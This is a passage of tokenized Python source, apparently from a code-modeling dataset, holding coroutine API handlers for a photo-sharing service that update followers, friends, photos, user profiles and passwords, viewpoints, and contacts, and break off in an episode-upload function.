"\\u\\u\\uNL\\u\\u\\u_", "'", "Update", "Followe", "r", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "UPDATE", " ", "FOL", "LOWER", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "view", "point", ":", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "follower", "'_", "]_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Update", "Friend", "_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", "s", " ", "frie", "nd", " ", "metadata", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Friend", ".", "Update", "Opera", "tion", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "UPDATE", " ", "FRI", "END", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "frie", "nd", ":", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "frie", "nd", "'_", "]_", "[_", "'", "user", "\\u", "id", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Update", "Photo_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", "s", " ", "photo", " ", "metadata", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "activit", "y", " ", "header", " ", "is", " ", "require", "d", ",", " ", "then", " ", "expect", " ", "it", " ", "to", " ", "have", " ", "device", "\\u", "id", " ", "from", " ", "cookie", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "request_", "[_", "'", "header", "s", "'_", "]_", "[_", "'", "original", "\\u", "version", "'_", "]_", ">=_", "Message_", "._", "ADD", "\\u", "OP", "\\u", "HEAD", "ER", "\\u", "VERSION_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "activit", "y", "'_", "]_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "0_", ",_", "request_", "[_", "'", "activit", "y", "'_", "]_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "request_", "=_", "{_", "'", "header", "s", "'_", ":_", "request_", "._", "pop_", "(_", "'", "header", "s", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "act", "\\u", "dict", "'_", ":_", "request_", "._", "pop_", "(_", "'", "activit", "y", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ph", "\\u", "dict", "'_", ":_", "request_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Photo", ".", "Update", "Opera", "tion", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "UPDATE", " ", "PHOTO", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "photo", ":", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "ph", "\\u", "dict", "'_", "]_", "[_", "'", "photo", "\\u", "id", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Update", "User_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", "s", " ", "user", " ", "profile", " ", "and", " ", "settings", " ", "metadata", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "password_", "=_", "request_", "._", "pop_", "(_", "'", "password", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "password_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", "=_", "base_", "._", "View", "finde", "r", "Context_", "._", "current_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user_", "=_", "context_", "._", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "\\u", "password_", "=_", "request_", "._", "pop_", "(_", "'", "old", "\\u", "password", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Rece", "ntl", "y", " ", "confirm", "ed", " ", "cookie", "s", " ", "can", " ", "alw", "ay", "s", " ", "set", " ", "the", " ", "password", " ", "--", " ", "this", " ", "is", " ", "how", " ", "we", " ", "do", " ", "password", " ", "reset", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "context_", "._", "Is", "Confirm", "ed", "User_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Cooki", "e", " ", "is", " ", "not", " ", "confirm", "ed", ",", " ", "so", " ", "raise", " ", "an", " ", "error", " ", "unl", "ess", " ", "one", " ", "of", " ", "the", " ", "follow", "ing", " ", "is", " ", "true", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "1", ".", " ", "The", " ", "old", "\\u", "password", " ", "field", " ", "is", " ", "set", " ", "and", " ", "matche", "s", " ", "the", " ", "user", "'", "s", " ", "current", " ", "password", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "2", ".", " ", "The", " ", "user", " ", "currentl", "y", " ", "has", " ", "no", " ", "password", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "old", "\\u", "password_", "is_", "None_", "and_", "user_", "._", "pwd", "\\u", "hash_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Permi", "ssion", "Error_", "(_", "UPDATE", "\\u", "PWD", "\\u", "NOT", "\\u", "CONFIRM", "ED_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "user_", "._", "pwd", "\\u", "hash_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "password", "\\u", "util_", "._", "Validate", "User", "Password_", "(_", "client_", ",_", "user_", ",_", "old", "\\u", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Replace", " ", "password", " ", "with", " ", "generat", "ed", " ", "hash", " ", "and", " ", "salt", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pwd", "\\u", "hash_", ",_", "salt_", "=_", "password", "\\u", "util_", "._", "Generate", "Passw", "ord", "Hash_", "(_", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "pwd", "\\u", "hash", "'_", "]_", "=_", "pwd", "\\u", "hash_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "salt", "'_", "]_", "=_", "salt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "request_", "=_", "{_", "'", "header", "s", "'_", ":_", "request_", "._", "pop_", "(_", "'", "header", "s", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "dict", "'_", ":_", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "settings", "\\u", "dict", "'_", ":_", "request_", "._", "pop_", "(_", "'", "account", "\\u", "settings", "'_", ",_", "None_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "dict", "'_", "]_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "User", ".", "Update", "Opera", "tion", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "UPDATE", " ", "USER", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", "'_", "%_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Update", "User", "Photo_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "op", "\\u", "request_", "=_", "{_", "'", "header", "s", "'_", ":_", "request_", "._", "pop_", "(_", "'", "header", "s", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "up", "\\u", "dict", "'_", ":_", "request_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "op", "\\u", "request_", "[_", "'", "up", "\\u", "dict", "'_", "]_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "'", "User", "Photo", ".", "Update", "Opera", "tion", "'_", ",_", "op", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "UPDATE", " ", "USER", " ", "PHOTO", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", "%", "d", ",", " ", "photo", ":", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "op", "\\u", "request_", "[_", "'", "up", "\\u", "dict", "'_", "]_", "[_", "'", "photo", "\\u", "id", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Update", "View", "point_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", "s", " ", "view", "point", " ", "metadata", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "activit", "y", "'_", "]_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "request_", "._", "pop_", "(_", "'", "header", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "activity_", "=_", "request_", "._", "pop_", "(_", "'", "activit", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "point", "\\u", "id_", "=_", "request_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "need", " ", "to", " ", "preserve", " ", "back", "ward", "s", "-", "compatibility", " ", "with", " ", "old", " ", "clients", " ", "tha", "t", " ", "use", " ", "update", "\\u", "view", "point", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "order", " ", "to", " ", "make", " ", "change", "s", " ", "to", " ", "follower", " ", "attribute", "s", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "follower", "\\u", "columns_", "=_", "Followe", "r_", "._", "\\u", "table_", "._", "Get", "Colum", "n", "Names_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "point", "\\u", "columns_", "=_", "View", "point_", "._", "\\u", "table_", "._", "Get", "Colum", "n", "Names_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "all_", "(_", "attr_", "in_", "follower", "\\u", "columns_", "for_", "attr_", "in_", "request_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", "=_", "{_", "'", "header", "s", "'_", ":_", "headers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "id", "'_", ":_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "follower", "'_", ":_", "request_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Update", "Followe", "r", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "all_", "(_", "attr_", "in_", "view", "point", "\\u", "columns_", "for_", "attr_", "in_", "request_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", "=_", "{_", "'", "header", "s", "'_", ":_", "headers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "id", "'_", ":_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "activit", "y", "'_", ":_", "activity_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "view", "point", "'_", ":_", "request_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Update", "View", "point", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "web_", "._", "HTTP", "Error_", "(_", "400_", ",_", "'", "View", "point", " ", "and", " ", "follower", " ", "attribute", "s", " ", "cann", "ot", " ", "be", " ", "update", "d", " ", "tog", "ether", " ", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'", "in", " ", "the", " ", "same", " ", "call", " ", "to", " ", "update", "\\u", "view", "point", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "UPDATE", " ", "VIEW", "POINT", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "view", "point", ":", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "view", "point", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Upload", "Conta", "cts_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "es", "/", "update", "s", " ", "contact", "s", " ", "metadata", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "contact", "\\u", "count_", "=_", "len_", "(_", "request_", "[_", "'", "contact", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pre", "-", "process", " ", "each", " ", "contact", " ", "and", " ", "generat", "e", " ", "contact", "\\u", "id", " ", "list", " ", "to", " ", "return", " ", "as", " ", "result", "._", "\\u\\u\\uNL\\u\\u\\u_", "result", "\\u", "contact", "\\u", "ids_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "contact_", "in_", "request_", "[_", "'", "contact", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "canon", "\\u", "identities", "_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "identities", "\\u", "properties_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "contact", "\\u", "identity_", "in_", "contact_", "[_", "'", "identities", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "identi", "ty", "\\u", "key_", "=_", "contact", "\\u", "identity_", "[_", "'", "identi", "ty", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "description_", "=_", "contact", "\\u", "identity_", "._", "get_", "(_", "'", "description", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "identi", "ty", "\\u", "key_", "!=_", "Identity_", "._", "Canonical", "ize_", "(_", "identi", "ty", "\\u", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Inva", "lid", "Request", "Error_", "(_", "IDENTITY", "\\u", "NOT", "\\u", "CAN", "ONI", "CAL", "_", ",_", "identi", "ty", "\\u", "key_", "=_", "identi", "ty", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "canon", "\\u", "identities", "_", "._", "add_", "(_", "identi", "ty", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Build", " ", "identities", "\\u", "proper", "ties", " ", "in", " ", "the", " ", "form", " ", "tha", "t", "'", "s", " ", "expected", " ", "for", " ", "creati", "ng", " ", "a", " ", "contact", "._", "\\u\\u\\uNL\\u\\u\\u_", "identities", "\\u", "properties_", "._", "append_", "(_", "(_", "identi", "ty", "\\u", "key_", ",_", "description_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", " ", "'", "identities", "'", " ", "and", " ", "'", "identities", "\\u", "proper", "ties", "'", " ", "as", " ", "is", " ", "expected", " ", "for", " ", "creati", "ng", " ", "the", " ", "contact", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "contact_", "[_", "'", "identities", "'_", "]_", "=_", "list_", "(_", "canon", "\\u", "identities", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "contact_", "[_", "'", "identities", "\\u", "proper", "ties", "'_", "]_", "=_", "identities", "\\u", "properties_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", ",", " ", "calculated", " ", "the", " ", "contact", "\\u", "id", "._", "\\u\\u\\uNL\\u\\u\\u_", "contact_", "[_", "'", "contact", "\\u", "id", "'_", "]_", "=_", "Contact_", "._", "Calculat", "e", "Conta", "ct", "Id_", "(_", "contact_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "contact", "\\u", "id", " ", "to", " ", "result", " ", "list", "._", "\\u\\u\\uNL\\u\\u\\u_", "result", "\\u", "contact", "\\u", "ids_", "._", "append_", "(_", "contact_", "[_", "'", "contact", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Upload", "Conta", "ct", "s", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "UPLOAD", " ", "CONTACT", "S", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "contact", "\\u", "count", ":", " ", "%", "d", "'_", "%_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "contact", "\\u", "count_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "'", "contact", "\\u", "ids", "'_", ":_", "result", "\\u", "contact", "\\u", "ids_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Upload", "Episode_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "es", " ", "metadata", " ", "for", " ", "new", " ", "photo", "s", " ", "and", " ", "return", "s", " ", "URL", "s", " ", "where", " ", "the", " ", "client", "\\", "10", ";", " ", " ", "shou", "ld", " ", "upload", " ", "the", " ", "photo", " ", "images", ".", " ", "Creat", "es", " ", "a", " ", "new", " ", "episode", " ", "to", " ", "group", " ", "the", "\\", "10", ";", " ", " ", "photo", "s", " ", "or", " ", "adds", " ", "the", " ", "photo", "s", " ", "to", " ", "an", " ", "exist", "ing", " ", "episode", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "Generate", "Upload", "Url_", "(_", "obj", "\\u", "store_", ",_", "ph", "\\u", "dict_", ",_", "suffix_", ",_", "md5", "\\u", "attr_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "an", " ", "S", "3", " ", "URL", " ", "tha", "t", " ", "is", " ", "the", " ", "target", " ", 